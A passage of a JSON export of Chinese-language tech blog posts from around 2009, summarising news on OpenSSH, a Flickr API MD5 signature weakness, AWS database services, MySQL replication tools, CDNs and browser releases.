    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到目前市占率最高的 SSH client/server 實做，<a href=\"http://www.openssh.com/\">OpenSSH</a>，十週年了：「<a href=\"http://it.slashdot.org/story/09/10/02/0225217/OpenSSH-Going-Strong-After-10-Years-With-Release-of-v53\">OpenSSH Going Strong After 10 Years With Release of v5.3</a>」。\r\n\r\n因為這次釋出的 5.3 版帶有紀念性質，所以只包含了少量的 bugfix，沒有增加任何新功能或是重大改變：「<a href=\"http://openssh.com/txt/release-5.3\">openssh.com/txt/release-5.3</a>」。\r\n\r\n四年前寫的「<a href=\"http://blog.gslin.org/archives/2005/09/30/141/\">OpenSSH 與 SSH Communications 的 SSH</a>」這篇文章現在再回頭看其實很有趣 (當初 <a href=\"http://www.ssh.com/\">SSH Communications</a> 講的超酸)，不曉得現在市占率變成多少了...",
    "title": "OpenSSH 10 週年"
  },
  {
    "id": "2103",
    "body": "這次的攻擊在於 <a href=\"http://www.flickr.com/\">Flickr</a> 本身定義 Protocol 時偷懶，而且在 <a href=\"http://en.wikipedia.org/wiki/MD5\">MD5</a> 被擺平後沒有更新 Protocol，造成可以利用目前在 MD5 上發展出來的攻擊，產生相同的簽名，但內容卻可以放入自己想放的資訊：「<a href=\"http://netifera.com/research/\">Flickr's API Signature Forgery Vulnerability</a>」。\r\n\r\n簡單來說，「以 shared secret 使雙方可以確認訊息是否正確」這件事情，有 <a href=\"http://en.wikipedia.org/wiki/HMAC\">HMAC</a> 可以用，但 Flickr 並沒有使用 HMAC，而是自己定義了 <code>MD5(secret + msg)</code>，相較之下弱很多，加上 MD5 本身的攻擊技術已經相當成熟，所以就...\r\n\r\n另外一個是 Flickr 一直沒有 review API，當 MD5 有問題而且攻擊技術愈來愈豐富，API 推出 SHA256 版本並公告 MD5 版本會在某個時間後無法使用，會是個合理的作法。\r\n\r\n這份 paper 是就九月底發出來的，接下來應該會訂新的 Protocol，通知所有使用 Flickr API 的應用程式作者，花時間改版。",
    "title": "Flickr API 的 MD5 簽名偽造攻擊"
  },
  {
    "id": "2104",
    "body": "剛剛看影片時眼尖發現 <code>r11.tpe1.c.youtube.com</code> 這個網域名稱，應該就是台灣的 cache server 了，就底層來說，從國內幾個 ISP 看起來都是 direct peering，只是不確定是否所有台灣的 ISP 都會被導過去。\r\n\r\n從「<a href=\"http://blog.gslin.org/archives/2009/08/21/2078/\">jQuery 提供的 code.jquery.com 重導至 Google’s AJAX Libraries API</a>」這篇提到互連的事情，差不多過了一個半月...",
    "title": "YouTube 在台灣建立 Cache Server"
  },
  {
    "id": "2106",
    "body": "於是 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 全螢幕時的可視範圍變成：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4006015204/\"><img src=\"http://farm4.static.flickr.com/3092/4006015204_7014b0c03c.jpg\" alt=\"\" /></a>\r\n\r\n新鮮感沒問題，實用性就不知道了...",
    "title": "螢幕打直..."
  },
  {
    "id": "2107",
    "body": "<a href=\"http://ronnywang.pixnet.net/\">ronny</a> 去了在北京辦的「<a href=\"http://sacc.it168.com/\">2009系统架构师大会</a>」寫的文章：「<a href=\"http://ronnywang.pixnet.net/blog/post/25223266\">MySQL 的 DRBD 與 MMM (1)</a>」。\r\n\r\n裡面有些地方可以補充一下，在不完全能接受 replication delay 的情況下，可以用 <a href=\"http://www.google.com/\">Google</a> 提供的 <a href=\"http://code.google.com/p/google-mysql-tools/wiki/SemiSyncReplicationDesign\">SemiSyncReplicationDesign</a> patch，所有在 master 的新增、更新、刪除動作時 (也就是有寫入的動作時) 都會等到 master 傳給 slave，並且 slave 說 OK 才結束。",
    "title": "DRBD 與 MMM 的比較"
  },
  {
    "id": "2108",
    "body": "沒想到會在國外的 blog 上看到前 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 員工用力砲轟這件事情：「<a href=\"http://simonwillison.net/2009/Oct/19/hackday/\">This shouldn’t be the image of Hack Day</a>」，另外在 <a href=\"http://www.ycombinator.com/\">Y Combinator</a> 上面也燒起來了：「\t<a href=\"http://news.ycombinator.com/item?id=891108\">This shouldn’t be the image of Hack Day</a>」。\r\n\r\n細節就不講了，圖片要講的事情其實很清楚，下面的 comment 主要是「對 Yahoo! 失望」之類的話，有些人覺得 Y! 的 hack days 已經是國際化的活動 (蠻多國外的人會看看得獎作品)，應該以國際標準來辦，不應該物化女性之類的...\r\n\r\nPS：<a href=\"http://simonwillison.net/\">Simon Willison</a> 近期比較有名的是 <a href=\"http://www.djangoproject.com/\">Django Framework</a> 的 committer，會訂他的 blog 主要是因為有不少 <a href=\"http://www.python.org/\">Python</a> 的資訊。印象中他現在應該是在英國的<a href=\"http://www.guardian.co.uk/\">衛報</a>做事？\r\n\r\n<strong>Update</strong>：<a href=\"http://developer.yahoo.com/\">Yahoo Developer Network</a> 的頭 Chris Yeh 出來道歉：「<a href=\"http://developer.yahoo.net/blog/archives/2009/10/taiwan_ohd_apology.html\">Sorry</a>」。\r\n\r\n<strong>Update</strong>：上 <a href=\"http://slashdot.org/\">Slashdot</a> 了：「<a href=\"http://tech.slashdot.org/story/09/10/22/1232225/Yahoo-Offered-Lap-Dances-At-Hack-Event\">Yahoo Offered Lap Dances At Hack Event</a>」。",
    "title": "前幾天辦的 Yahoo! Taiwan Hack Day"
  },
  {
    "id": "2110",
    "body": "因為要做的事情又變多了，<a href=\"http://www.pixnet.net/\">PIXNET</a> 徵有 <a href=\"http://www.php.net/\">PHP</a> 經驗的 coder (帶有其他技能當然更好)，預定要四名，徵到年底。\r\n\r\n有興趣的人請提供簡歷，可以寄到 gslin at pixnet.tw。\r\n\r\n常見的問題：上班的地點在台北市中山區，人事制度依照<a href=\"http://www.cph.com.tw/sub.htm\">城邦媒體控股集團</a>的規定，上班時間是 10AM~7PM，薪資的部份都是面議，可以上班的日期是 11/1。",
    "title": "又要徵人了..."
  },
  {
    "id": "2112",
    "body": "前幾天在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到的，<a href=\"http://www.att.com/\">AT&amp;T</a> 的頭發信給全公司的員工，「建議」他們到美國政府網站 <a href=\"http://openinternet.gov/\">OpenInternet.gov</a> 發表對於「<a href=\"http://zh.wikipedia.org/wiki/%E7%BD%91%E7%BB%9C%E4%B8%AD%E7%AB%8B%E6%80%A7\">網路中立</a>」的意見。當然，是對 AT&amp;T 有利的意見...：「<a href=\"http://tech.slashdot.org/story/09/10/20/2043202/ATampT-Suggests-To-300K-Employees-To-Lobby-the-FCC\">AT&T Suggests To 300K Employees To Lobby the FCC</a>」，而媒體也向 AT&amp;T 證實了這件事情。\r\n\r\n其實就是個商業團體操作的手法，不是第一次也不會是最後一次。會上新聞主要是因為 AT&amp;T 有將近 30 萬員工，而且想操作的話題是「網路中立」這個熱門話題。\r\n\r\n類似的行為在台灣也很常見，像是「<a href=\"http://blog.udn.com/ajwin/1936622\">不樂之捐？　5千端節獎金拿去賑災　鴻海員工忿忿不平</a>」之類的。\r\n\r\nSlashdot 上的 <a href=\"http://tech.slashdot.org/comments.pl?sid=1411767&amp;cid=29816719\">comment</a> 其實寫的很現實：\r\n<blockquote>Unions are a democracy.\r\nBusiness are a dictatorship.\r\n\r\nWhen a union tells its members, \"You should do X,\" you can work on changing the direction of the Union by voting in new leadership, or run for a position yourself.\r\n\r\nWhen a business tells its employees, \"You should do X,\" you can quit.</blockquote>",
    "title": "AT&T 要他們的員工操控政府決策"
  },
  {
    "id": "2113",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.ibm.com/\">IBM</a> 也開始在美國本土販賣內含 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的桌機了：「<a href=\"http://linux.slashdot.org/story/09/10/20/1756215/IBMs-Answer-To-Windows-7-Is-Ubuntu-Linux\">IBM's Answer To Windows 7 Is Ubuntu Linux</a>」。\r\n\r\n大約幾個禮拜前，IBM 與 <a href=\"http://www.canonical.com/\">Canonical</a> 發表了合作計畫，預定往非洲推銷 Ubuntu，有人問 IBM 是否有計劃在美國本土販賣類似的產品，現在的回應就是答案。\r\n\r\n除了 IBM 以外，<a href=\"http://www.dell.com/\">Dell</a> 在更早的時候就提供 Ubuntu 桌機與筆電：「<a href=\"http://www.dell.com/content/topics/segtopic.aspx/linux_3x\">Dell PCs Featuring Ubuntu</a>」。",
    "title": "IBM 開始在美國賣內含 Ubuntu 的桌機"
  },
  {
    "id": "2115",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到 <a href=\"http://www.apple.com/\">Apple</a> 把 <a href=\"http://www.apple.com/macosx/\">Mac OS X</a> 的 <a href=\"http://zfs.macosforge.org/\">ZFS Project</a> 關閉了：「<a href=\"http://www.osnews.com/story/22388/Apple_Shuts_Down_Mac_OS_X_ZFS_Project\">Apple Shuts Down Mac OS X ZFS Project</a>」。\r\n\r\n原因沒有正式的說明，不過一般推測，應該是 Apple 內部認為 license issue 會有問題，尤其是 <a href=\"http://www.sun.com/\">Sun</a> 與 <a href=\"http://www.netapp.com/\">NetApp</a> 之間的官司。",
    "title": "Mac OS X 的 ZFS Project 將收起來"
  },
  {
    "id": "2116",
    "body": "在 <a href=\"http://twitter.com/\">Twitter</a> 上看到這篇關於 <a href=\"http://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 與 <a href=\"http://www.rackspacecloud.com/cloud_hosting_products/files\">Rackspace Cloud Files CDN</a> 的比較文章：「<a href=\"http://chrismeller.com/2009/10/amazon-cloudfront-vs-rackspace-cloudfiles-cdn-performance/\">Amazon CloudFront vs. Rackspace Cloud Files CDN Performance</a>」。\r\n\r\n先講作者的結論，因為 Rackspace Cloud Files CDN 不是自己建立 CDN 平台，而是使用 <a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a>，所以品質比 Amazon CloudFront 好太多。\r\n\r\n測試出來的數據與預期的差不多，Limelight Networks 在這塊也做很久了。如果有一些檔案 (像是 javascript) 想要上 CDN 的話，透過 Rackspace Cloud Files CDN 倒是不錯的方式。\r\n\r\n比較有問題的地方在於 CNAME，查了一些資料似乎還是沒支援？另外一個問題在於 <a href=\"http://www.hinet.net/\">HiNet</a> 會被導到北美的 PoP，而非亞洲地區的 PoP。",
    "title": "Amazon CloudFront 與 Rackspace Cloud Files CDN 的比較"
  },
  {
    "id": "2117",
    "body": "<a href=\"http://www.lighttpd.net/\">lighttpd</a> 1.4.24 釋出了，最重要的新增功能是增加 <a href=\"http://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> <a href=\"http://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 支援：「<a href=\"http://www.lighttpd.net/2009/10/25/1-4-24-now-with-tls-sni-and-money-back-guarantee\">1.4.24 - now with TLS SNI and money back guarantee</a>」，也就是 TLS 的 virtual hosting 支援。另外也改了不少當 FastCGI backend server 出問題時處理的 code。\r\n\r\n不過 TLS/SNI 還是卡在 IE6 不支援，這兩年大概還沒辦法被廣泛使用...",
    "title": "lighttp 1.4.24 - TLS/SNI 的支援"
  },
  {
    "id": "2119",
    "body": "不管是國內還是美國，總統上台好像都會把整個網站翻掉：「<a href=\"http://news.slashdot.org/story/09/10/25/1126210/White-House-Website-Switches-To-Open-Source\">White House Website Switches To Open Source</a>」。\r\n\r\n這次翻修 <a href=\"http://www.whitehouse.gov/\">whitehouse.gov</a> 時選的是 <a href=\"http://drupal.org/\">Drupal</a> 這套 open source 的 <a href=\"http://en.wikipedia.org/wiki/Content_management_system\">CMS</a>，我印象中也蠻常在 exploit list 上看到這套軟體...\r\n\r\nAnwyay，對於不熟悉 Open Source 的業主來說算是一個很有力的材料... (for sales)",
    "title": "白宮網站換成 Drupal"
  },
  {
    "id": "2120",
    "body": "<a href=\"http://afterthedeadline.com/\">After the Deadline</a> 是一個拼字檢查服務，在上個月初被 <a href=\"http://automattic.com/\">Automattic</a> (<a href=\"http://wordpress.com/\">WordPress.com</a>) 買下後先被整合到 WordPress.com 內，然後最近決定以 GPLv2 open source client library，讓個人免費使用：「<a href=\"http://ma.tt/2009/10/atd-now-os/\">After the Deadline now Open Source</a>」。\r\n\r\n看起來跟 <a href=\"http://tinymce.moxiecode.com/\">TinyMCE</a> 整合在一起，也就是 <a href=\"http://wordpress.org/\">WordPress</a> 在用的編輯器，不過目前只支援英語...",
    "title": "After the Deadline (拼字檢查服務) 的 client library 以 GPLv2 釋出原始碼"
  },
  {
    "id": "2121",
    "body": "<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 推出了 <a href=\"http://aws.amazon.com/rds/\">Amazon Relational Database Service</a>：「<a href=\"http://www.techcrunch.com/2009/10/26/amazon-launch-relational-database-cloud-service/\">Amazon Launch Hosted MySQL Database Service</a>」。\r\n\r\n照網頁上的說法，現有 <a href=\"http://dev.mysql.com/\">MySQL</a> 程式可以直接套上去用，與 MySQL protocol 相容，應該就是改自 MySQL，依照「<a href=\"http://aws.typepad.com/aws/2009/10/introducing-rds-the-amazon-relational-database-service-.html\">Introducing Amazon RDS - The Amazon Relational Database Service</a>」的說明，是 MySQL 5.1。\r\n\r\n本來要自己用 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> + <a href=\"http://aws.amazon.com/ebs/\">EBS</a> 自己堆整套 HA 架構的系統，現在 <a href=\"http://www.amazon.com/\">Amazon</a> 直接支援，看了一下價錢，機器的部份只比 EC2 的單機貴 10%，其他 I/O 及使用空間的部份與 EBS 價錢一樣。然後你可以設定時間直接打 snapshot 備份，幫你處理了一卡車資料安全性的問題...\r\n\r\n不過目前還不能從 <a href=\"http://aws.amazon.com/console/\">AWS Management Console</a> 管理，要透過 API 管，不過這已經是一大步了...",
    "title": "Amazon Web Services 推出 MySQL Relational Database..."
  },
  {
    "id": "2123",
    "body": "在「<a href=\"http://aws.typepad.com/aws/2009/10/amazon-ec2-now-an-even-better-value.html\">Amazon EC2 - Now an Even Better Value</a>」與「<a href=\"http://aws.typepad.com/aws/2009/10/two-new-ec2-instance-types-additional-memory.html\">New EC2 High-Memory Instances</a>」這兩篇文章裡，<a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 宣佈 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 將本來的五種 instance 調降租金，最多 15%，自 2009/11/1 生效。另外還推出兩種高記憶體用量的 instance。\r\n\r\n高記憶體用量的 instance 看起來是配合 MySQL Relational Database 而推出的。\r\n\r\nRelational Database 補齊後是個 <del>詐騙集團</del> startup 的好出發點，加上 Amazon Web Service 現在也有 <a href=\"http://aws.amazon.com/premiumsupport/\">Premium Service Support</a>，其他 Cloud Service (像是 <a href=\"http://mediatemple.net/\">MT</a>) 的 Cloud Service 的定價與其他策略應該要調整了...",
    "title": "Amazon EC2 推出新的 instance 種類並降價"
  },
  {
    "id": "2124",
    "body": "在 <a href=\"http://www.mysqlperformanceblog.com/\">MySQL Performance Blog</a> 看到「<a href=\"http://www.mysqlperformanceblog.com/2009/10/27/state-of-the-art-galera-synchronous-replication-for-innodb/\">State of the art: Galera – synchronous replication for InnoDB</a>」這篇文章，介紹 <a href=\"http://www.codership.com/\">codership 的 Galera</a>，一套在 <a href=\"http://dev.mysql.com/\">MySQL</a> <a href=\"http://www.innodb.com/\">InnoDB</a> 上面實做 Multi-master 且 synchronous replication 的系統。\r\n\r\n因為是 synchronous replication，所以可以看出著重在資料正確性，以架構看起來沒辦法 scale 到很大的系統，但對於量不會太大的資料 (像是購買交易資料) 不是問題。\r\n\r\n目前看這套的賣點是在把 synchronous replication patch 放入 MySQL，這是其他的 MySQL distribution 目前沒有直接包進去的功能。至於 Multi-master 與 auto-inc 的管理，目前 open source community 已經有不少解決方案了。",
    "title": "Galera"
  },
  {
    "id": "2126",
    "body": "指的是 <a href=\"http://en.wikipedia.org/wiki/Three_strikes_%28policy%29\">Three strikes (policy)</a> 這類型的法案。\r\n\r\n不過，英國執法單位反對的原因是怕這個法案通過後，使用者會大量使用加密技術以避免被蒐證，並且開始習慣用加密技術保護自己 (像是 encrypted disk)，會造成執法單位在舉證變得困難 (不是舉證非法下載，而是國安犯罪的舉證)：「<a href=\"http://yro.slashdot.org/story/09/10/27/1833206/UK-Law-Enforcement-Is-Against-3-Strikes\">UK Law Enforcement Is Against \"3-Strikes\"</a>」。\r\n\r\n蠻鳥蛋的理由... XD",
    "title": "英國執法單位反對三振法案"
  },
  {
    "id": "2128",
    "body": "在 <a href=\"http://simonwillison.net/2009/Oct/28/underscore/\">Simon Willison 的文章</a>看到一個新的 JS library：「<a href=\"http://documentcloud.github.com/underscore/\">Underscore.js</a>」，與 <a href=\"http://jquery.com/\">jQuery</a> 有類似的想法：jQuery 是以 <code>$</code> 為核心，Underscore.js 是以 <code>_</code> 為核心。\r\n\r\n除了對各種資料結構的操作外，還有一些與 event 有關的 function。如果可以自己處理各瀏覽器的 bug/workaround，用 Underscore.js 還不錯... (不過，自己手刻其實也還好...)\r\n\r\n檔案大小的部份，Underscore.js 0.3.0 版的原始檔案 (含 comment) 是 15773 bytes，透過 <a href=\"http://developer.yahoo.com/yui/compressor/\">yuicompress</a> 處理過後是 5711 bytes，如果再加上 <a href=\"http://www.gzip.org/\">gzip</a> 壓縮是 1937 bytes。\r\n\r\njQuery 1.3.2 的原始檔案 (含 comment) 是 120763 bytes，透過 yuicomopress 處理過後是 57254 bytes，gzip 後是 19711 bytes，差距大約都是十倍 (yuicompress 與 yuicompress + gzip 都是十倍左右，comment 的版本比較起來沒意義，因為實際上線時不會拿這個版本跑)，但是功能多了很多，看使用的情況可以自己取捨。jQuery 另外一個好處是 <a href=\"http://www.google.com/\">Google</a> 有提供 CDN，所以不需要自己 host...\r\n\r\nUnderscore.js 有提供一個頁面測試：「<a href=\"http://documentcloud.github.com/underscore/test/test.html\">Underscore Test Suite</a>」，而且這個頁面最下方的「Underscore Speed Suite」有直接產生測試圖的資料，數據直接以 <a href=\"http://code.google.com/apis/chart/\">Google Chart API</a> 顯示，還附上 <a href=\"http://tinyurl.com/\">TinyURL</a> 的短網址... XD\r\n\r\n像我測試的結果就是：\r\n\r\n<img src=\"http://tinyurl.com/yldkntp\" alt=\"\" />",
    "title": "Underscore.js，新的 JS Library"
  },
  {
    "id": "2131",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://zh.wikipedia.org/wiki/WPA\" rel=\"tag\">WPA</a> 的攻擊又被翻新了：「<a href=\"http://mobile.slashdot.org/story/09/10/29/1944208/New-Improvements-On-the-Attacks-On-WPATKIP\">New Improvements On the Attacks On WPA/TKIP</a>」。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Temporal_Key_Integrity_Protocol\">TKIP</a> 是當初為了比較舊的設備 (一開始只支援 <a href=\"http://zh.wikipedia.org/wiki/%E6%9C%89%E7%B7%9A%E7%AD%89%E6%95%88%E5%8A%A0%E5%AF%86\">WEP</a> 的設備) 而設計的協定，主要是希望原先使用 WEP 的設備可以藉由韌體升級繼續提供服務，所以在設計上還是儘量使用類似的 crypto algorithm，像是 <a href=\"http://en.wikipedia.org/wiki/RC4\">RC4</a>。\r\n\r\n目前一般家用環境常用的 WPA Personal 是使用 <a href=\"http://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86\">AES</a>，因為是翻新重新設計的協定，不受這幾次攻擊的影響。",
    "title": "無線網路 WPA/TKIP 攻擊翻新"
  },
  {
    "id": "2132",
    "body": "昨天在 <a href=\"http://lordmi.memory-off.org/wordpress/\">lordmi</a> 的 blog 看到<a href=\"http://www.nicovideo.jp/\">ニコニコ動画</a>的外嵌 player 了：「<a href=\"http://lordmi.memory-off.org/wordpress/archives/3694\">女朋友理想的咪咪size，C和D支持者共85.9％</a>」。\r\n\r\n查了官方的 blog 最新的那篇「<a href=\"http://blog.nicovideo.jp/2009/10/_4_1.php\">プレーヤー更新情報 不具合修正履歴 その4</a>」沒提到，在最近官方的「<a href=\"http://www.nicovideo.jp/watch/sm8639319\">【ニコニコ動画(9)】とりあえずマイリスト・ニコレポなど【新機能】</a>」也沒提到 (需要登入才能看)，不過在「<a href=\"http://www.nicovideo.jp/static/nico9/\">ニコニコ動画(9) 新サービス＆新機能を紹介</a>」這邊總算是找到了：\r\n<blockquote>外部プレーヤー\r\n外部プレイヤーをつかって、皆さんのブログやウェブサイトでもニコニコ動画の再生が可能になります！</blockquote>\r\n在播放完後的 menu 選擇「ブログに貼付」就會出現可以選擇的外嵌語法了，像是這樣：\r\n\r\n<script type=\"text/javascript\" src=\"http://ext.nicovideo.jp/thumb_watch/sm8639319\"></script><noscript><a href=\"http://www.nicovideo.jp/watch/sm8639319\">【ニコニコ動画】【ニコニコ動画(9)】とりあえずマイリスト・ニコレポなど【新機能】</a></noscript>",
    "title": "「ニコニコ動画」支援外嵌了..."
  },
  {
    "id": "2133",
    "body": "Traffic Server 是 <a href=\"http://en.wikipedia.org/wiki/Inktomi_Corporation\">Inktomi</a> 的產品之一，是一套高效率的 HTTP cache server，據說在很早前就支援 multi processor (<a href=\"http://www.squid-cache.org/\">Squid</a> 到現在還是不行)，就目前的版本有機會在夠好的機器上跑出 35k reqs/sec。不過，這家公司在 dot-com 泡沫時被 <a href=\"http://www.yahoo.com/\">Yahoo!</a> 買下。\r\n\r\n<a href=\"http://simonwillison.net/\">Simon Willison</a> 在七月的時候提到 Yahoo! 打算把 Traffic Server 的 source code 公開出來並放到 <a href=\"http://www.apache.org/\">Apache Software Foundation</a> 上面，不過當時只有計畫。\r\n\r\n三個月後，在「<a href=\"http://www.mnot.net/blog/2009/10/30/traffic_server\">Traffic Server</a>」這篇看到 Yahoo! 已經把 code 整理好，可以透過 <a href=\"http://subversion.tigris.org/\">Subversion</a> 取得原始程式碼了：「<a href=\"http://cwiki.apache.org/confluence/display/TS\">Traffic Server</a>」。\r\n\r\n這套軟體的簡寫是 YTS，在<a href=\"http://www.wretch.cc/\">無名</a>也用的很多。<a href=\"http://www.flickr.com/\">Flickr</a> 則是用自己改的 Squid。(就目前在外面的謠言，至少 header 看起來不是 YTS)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/4057077459/\"><img src=\"http://farm3.static.flickr.com/2611/4057077459_67dbe0f312.jpg\" alt=\"\" /></a>\r\n\r\n算是 open source 的另外一種選擇...",
    "title": "Yahoo! 把 Traffic Server 的 source code 放出來了"
  },
  {
    "id": "2134",
    "body": "剛剛吃飯的時候有人說這兩天「<a href=\"http://www.nicovideo.jp/\">ニコニコ動画</a>」感覺變快了，吃完飯回來 trace 後發現是因為上了 CDN，用的是 <a href=\"http://www.limelightnetworks.com/\">Limelight Networks</a>：(下面是 <code>mtr --report smile-cll46.nicovideo.jp</code> 的結果)\r\n<blockquote><small><small><pre>3. 60-199-255-113.static.tfn.ne  0.0%    10    0.8   0.8   0.6   1.0   0.1\r\n4. 60-199-6-125.static.tfn.net.  0.0%    10    0.8   0.8   0.8   1.0   0.1\r\n5. 60-199-6-2.static.tfn.net.tw 20.0%    10    0.8   0.8   0.8   1.1   0.1\r\n6. 60-199-6-26.static.tfn.net.t  0.0%    10    2.7   1.2   1.0   2.7   0.5\r\n7. 60-199-17-42.static.tfn.net.  0.0%    10   23.1  23.0  22.8  23.3   0.2\r\n8. limelight-10G.hkix.net        0.0%    10   27.8  23.6  22.3  27.8   1.9\r\n9. cds37.hkg.llnw.net            0.0%    10   22.5  22.5  22.3  23.1   0.2</pre></small></small></blockquote>\r\n<a href=\"http://www.hinet.net/\">HiNet</a> 過去是到美西，速度應該還可以。(回家用 ADSL 測看看才知道)",
    "title": "「ニコニコ動画」的外連..."
  },
  {
    "id": "2135",
    "body": "<a href=\"http://askmonty.org/wiki/index.php/MariaDB\">MariaDB</a> 是 <a href=\"http://en.wikipedia.org/wiki/MySQL_AB\">MySQL AB</a> 的創辦人之一，<a href=\"http://en.wikipedia.org/wiki/Michael_Widenius\">Michael Widenius</a> (也就是 Monty)，在離開 <a href=\"http://www.sun.com/\">Sun Microsystem</a> 之後，以 <a href=\"http://dev.mysql.com/\">MySQL</a> 為基礎所發展的一套資料庫。\r\n\r\n剛剛看到 MariaDB 5.1 Beta 版包出來了：「<a href=\"http://blogs.gnome.org/mneptok/2009/10/29/mariadb-5-1-beta-released/\">MariaDB 5.1 Beta Released</a>」，與 MySQL 5.1 的差異可以參考「<a href=\"http://askmonty.org/wiki/index.php/MariaDB_versus_MySQL\">MariaDB versus MySQL</a>」這個網頁的說明。\r\n\r\n主要的差異在於內建了 <a href=\"http://askmonty.org/wiki/index.php/Maria\">Maria</a> 與 <a href=\"http://www.primebase.org/\">PBXT</a> 兩個 engine，其他的都是細節部份，大家都會 porting 來 porting 去。在「<a href=\"http://askmonty.org/wiki/index.php/Maria#How_does_Maria_1.5_Compare_to_MyISAM.3F\">How does Maria 1.5 Compare to MyISAM?</a>」介紹了 Maria storage engine 1.5 (目前 MariaDB 5.1 Beta 包的版本) 與 MyISAM 的差異，最主要的重點應該還是 Data 與 Index 都變成 crash-safe，所以比較容易配合 SAN 或是 <a href=\"http://www.drbd.org/\">DRBD</a> 了...\r\n\r\n要找時間測試看看，尤其是讀取速度的效能。\r\n\r\n<strong>Update</strong>：<a href=\"http://ourdelta.org/debian\">OurDelta</a> 放出 binary 了，可以將 <a href=\"http://www.debian.org/\">Debian</a> 或 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 的 repository 指過去安裝：「<a href=\"http://ourdelta.org/mariadb-51-packages-for-debian-and-ubuntu\">MariaDB 5.1 packages for Debian and Ubuntu</a>」。",
    "title": "MariaDB 5.1 Beta 版釋出"
  },
  {
    "id": "2137",
    "body": "這兩天在好幾個地方都看到同樣的報導了，<a href=\"http://sunlightlabs.com/\">Sunlight Labs</a> 對美國政府呼籲，不要再使用 <a href=\"http://www.adobe.com/\">Adobe</a> 的 <a href=\"http://zh.wikipedia.org/wiki/PDF\">PDF</a> 與 <a href=\"http://zh.wikipedia.org/wiki/Adobe_Flash\">Flash</a>：「<a href=\"http://sunlightlabs.com/blog/2009/adobe-bad-open-government/\">Adobe is Bad for Open Government</a>」，因為這兩項技術對於<a href=\"http://zh.wikipedia.org/wiki/%E5%B7%B4%E6%8B%89%E5%85%8B%C2%B7%E5%A5%A5%E5%B7%B4%E9%A9%AC\">歐巴馬</a>政府想推動的 <a href=\"http://www.whitehouse.gov/OPEN/\">Open Government</a> 有極大的障礙。\r\n\r\n文章的論點其實很簡單，Sunlight Labs 的人認為 Open Government 使用的技術不僅必須是「公開標準」，而且必須是「容易實做」的標準。PDF 的技術是公開標準 (<a href=\"http://www.iso.org/iso/catalogue_detail.htm?csnumber=51502\">ISO/IEC 32000-1:2008</a>)，但不是容易實做的標準，在不少 comment 裡面很多人都提到，擷取文字的最快方式是轉成圖檔後用 OCR 技術拉出來。這點 <a href=\"http://en.wikipedia.org/wiki/OpenDocument\">OpenDocument</a> (<a href=\"http://www.iso.org/iso/catalogue_detail.htm?csnumber=43485\">ISO/IEC 26300:2006</a>) 也有相同的問題。\r\n\r\n不過，當國外已經更上層樓在爭論要走向「容易實做」的公開標準時，國內還是繼續 doc 與 docx...",
    "title": "Sunlight Labs 對美國政府呼籲：「不要再用 Adobe 的技術了」"
  },
  {
    "id": "2139",
    "body": "把家裡的 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 換成 3.6b2pre 了，照慣例一樣是砍掉重來。\r\n\r\n把東西裝回去時發現 <a href=\"https://addons.mozilla.org/firefox/addon/953\">RefControl</a> 爛掉了，不如網站所宣稱的可以用。這部份反而意外找到 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/10636\">Mason</a> 可以用，而且對 host 靈活多了 (用 regular expression)，之後應該會丟掉 RefControl 吧。\r\n\r\n速度與 UI 沒什麼太大變化。有些動作有感覺變慢了一些，但有些動作有感覺變快... 看了細部設定的部份，發現 <code>about:config</code> 內的 <code>javascript.options.jit.chrome</code> 預設打開了。另外開新的 tab 時，新的 tab 會貼到 tab 的旁邊，而非最後面 (最右側)。\r\n\r\n穩定性的話，目前逛網頁還沒遇到 crash 或是卡住，算是堪用的版本吧，是可以找時間把手上的機器都換上去測試了...",
    "title": "Firefox 3.6 系列"
  },
  {
    "id": "2141",
    "body": "在瑞典法院下令 ISP 封鎖 <a href=\"http://thepiratebay.org/\">The Pirate Bay</a> (TPB) 之後，這陣子 ISP 開始動起來了，使得 TPB 的連線斷斷續續的。不過，<a href=\"http://www.mcafee.com/\">McAfee</a> 發現，可以取得版權物的站台反而因此增加了 300%：「<a href=\"http://tech.slashdot.org/story/09/11/02/1821232/Pirate-Bay-Closure-Sparked-P2P-Explosion\">Pirate Bay Closure Sparked P2P Explosion</a>」。\r\n\r\n本來大家都往 TPB 找資料，現在因為 TPB 被擋 (或是不順)，就有人利用之前從 TPB 上面搜刮下來的資料 hosting...\r\n\r\n不知道這次會花多久時間恢復...",
    "title": "The Pirate Bay 被封鎖後的效應"
  },
  {
    "id": "2143",
